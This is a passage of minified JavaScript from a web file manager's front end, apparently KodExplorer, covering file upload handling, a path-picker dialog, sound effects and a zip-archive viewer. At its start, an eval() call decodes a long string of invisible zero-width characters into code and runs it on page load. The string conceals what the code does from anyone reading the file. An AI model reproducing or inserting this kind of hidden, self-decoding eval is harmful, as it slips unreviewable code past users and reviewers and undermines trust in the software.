i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,n=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:n>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,n),e.speed.push([timeFloat(),i]));var a=e.speed[e.speed.length-1],o=e.speed[0],s=(a[1]-o[1])/(a[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var n=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==n||"undefined"==n)&&(n=e.name),file_num++;var a=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+n)+'" data-name="'+htmlEncode(e.upload_to+n)+'">'+htmlEncode(core.pathThis(n))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==a.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(a.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var n=urlEncode(e.file.fullPath);(void 0==n||"undefined"==n)&&(n=""),t.fullPath=n,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),n=$("#"+e.id),a=n.find(".progress .progress-bar");a.length||(a=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(n).find(".progress-bar")),n.find(".state").text((100*t).toFixed(1)+"%("+i+")"),a.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var n=e.serverData;if(n&&n.data){var a=LNG[n.data];if(n.code){if(t.addClass("success"),t.find(".state").text(a),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),n.info){var o="/"+ltrim(htmlEncode(n.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(a).attr("title",a)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var n=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,n>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var n=$(i.DOM.wrap),a=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(n.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),n=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(n,i)?!0:!1},r=function(){var t=a.ui.fileLight.fileListSelect(),i=[];if(e.single){var n=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[a.G.this_path],n.hasClass("folderBox")&&(i=[a.ui.fileLight.path(n)]);else if("file"==e.type){if(n.hasClass("fileBox")){var o=a.ui.fileLight.path(n);s(o)&&(i=[o])}}else if("all"==e.type)if(n.hasClass("folderBox")){var o=a.ui.fileLight.path(n);i=[{file:[],folder:[o]}]}else if(n.hasClass("fileBox")){var o=a.ui.fileLight.path(n);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=a.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(a.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=n.find(".path_select_input"),o=n.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=a.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=a.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){a.ui.fileLight.select.hook("select",a.ui.fileLight,{before:function(){},after:function(){r()}})};a.kodReady||(a.kodReady=[]),a.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var n={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},a="./index.php?/explorer&type=iframe";t=$.extend(n,t),t.firstPath&&(a+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(a,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,n=e.find(".path_select_input").attr("result");n=jsonDecode(hashDecode(n)),n?t.single&&"all"!=t.type?i(n[0]):i(n):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var n=G.static_path+"others/sound/"+t,a=e("./myPlayer");a.playSound(n,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,n=$("#"+t.tId+"_switch"),a=$("#"+t.tId+"_ico");n.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),a.before(n).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&a.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";n.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),n.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,n){$(e.target).hasClass("menu_more")||(t.selectNode(n),u(n),"folder"==n.type&&$("#"+n.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,n){$(e.target).hasClass(".menu_more")||"file"==n.type&&o("open",t)}}},n=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var n=e[i];e[i]={name:core.pathThis(n.filename),path:n.filename,isParent:!!n.child,type:n.folder?"folder":"file",menuType:n.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(n.filename),mtime:n.mtime,index:n.index,size:n.size,child:n.child},n.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},n=0;e.length>n;n++)"string"!=typeof e[n].filename&&e[n].stored_filename&&(e[n].filename=e[n].stored_filename),"string"==typeof e[n].filename&&(e[n].filename=e[n].filename.replace(/\\/g,"/"),i[e[n].filename]=e[n]);for(var a in i)if(!i[a].folder)for(var o=core.pathFather(i[a].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var a in i){var r=i[a],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},a=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var n=t.getSelectedNodes()[0];switch(e){case"open":c(t,n);break;case"down":l(t,n);break;case"unzip_this":p(t,n);break;case"unzip_to":d(t,n);break;case"info":h(t,n); +break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,n=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(n)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,n=i+"&index="+t.index+"&name=/"+urlEncode(t.path),a=t.ext;"zip"==a&&(a="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),a="unknow"),ui.pathOpen.open(n,a)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var n=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(n)));var a="./index.php?explorer/unzip";$.ajax({url:a,data:{path:n,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(n)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),n="folder"==t.type?tpl_path_info:tpl_file_info,a=template.compile(n),o=f(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:a(o),ok:!0})},m=function(e,t,i){var n=template.compile(tpl_zipview),a=n({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > 